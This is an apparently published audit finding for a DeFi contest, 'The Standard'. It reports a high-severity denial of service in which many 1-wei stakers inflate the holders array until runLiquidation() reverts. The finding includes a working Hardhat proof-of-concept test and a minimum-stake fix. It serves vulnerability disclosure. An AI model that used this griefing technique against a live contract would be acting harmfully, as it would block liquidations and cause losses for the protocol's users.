The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

DoS When Calling runLiquidation() If Too Many holders

EVDocPhantom

Summary

As indicated in the Known Issues, there is 'No length check for the number of stakeholders,' but more importantly, anyone could make the holder array excessively long, making liquidation of unhealthy positions impossible.

Vulnerability Details

In the increasePosition()​​ function, there is no minimum requirement to join the pendingStakes array and become eligible for fee distribution. After 24 hours, it is possible to become eligible for asset distribution by joining the holders array, even with a stake of 1 wei in EUROs or TST.

Impact

A holder array that is too long would cause the call to the ​​runLiquidation​​() function to revert, making liquidation impossible and thereby depriving holders of the distribution of assets, which serves as an incentive for them to liquidate unhealthy positions.
Additionally, unhealthy positions would accumulate since there is no other mechanism to liquidate them.

Proof of Concept

Overview:

An attacker could create numerous EAO tokens, send 1 wei of TST to each, and then call ​​increasePosition​​() with each EAO to enter the holders array, potentially making it excessively long.

Actors:

  • Attacker: Creates EOAs and send 1 wei to each of them.

  • random EOA: increasePosition​​() to enter the holders array.

Working Test Case

Set mocha timeout in hardhat.config.js:

module.exports = {
...
mocha: {
timeout: 100000000
},
...
}

Paste the following test case in liquidationPoolManager.js inside describe('distributeFees') block:

it('DoS runLiquidation if too many holders', async () => {
​
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
​
// assets to distribute
await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
await USDC.mint(SmartVaultManager.address, usdcCollateral);
​
// Create attacker with 1e18 TST
const attacker = await ethers.getSigner();
await TST.mint(attacker.address, ethers.utils.parseEther('1'));
​
// Attacker creates 200 EOA holders
let randomHolder;
for (let i = 0; i < 200; i++) {
​
// create a new EOA
randomHolder = await ethers.getSigner();
​
// attacker sends 1 wei TST to the EOA
await TST.connect(attacker).transfer(randomHolder.address, 1);
​
// increase position by 1 wei TST to become a holder
await TST.connect(randomHolder).approve(LiquidationPool.address, 1);
await LiquidationPool.connect(randomHolder).increasePosition(1, 0);
}
​
await fastForward(DAY);
​
// runLiquidation revert with too many holders
await expect(LiquidationPoolManager.runLiquidation(TOKEN_ID)).to.be.reverted;
});

Tools Used

Manual review

Recommendations

Add a check in increasePosition() function to ensure that the amount is greater than a certain minimum amount. This would make the attack much more costly, even rendering it impossible depending on the defined minimum amount.
Ideally, this check could verify that the amount is greater than or equal to the required minimum if it's the initial opening of a position and not for increasing the size of an existing position.

if (positions[msg.sender].TST == 0 && positions[msg.sender].EUROs == 0) {
require(_tstVal >= minAmount || _eurosVal >= minAmount);
} else {
require(_tstVal > 0 || _eurosVal > 0);
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.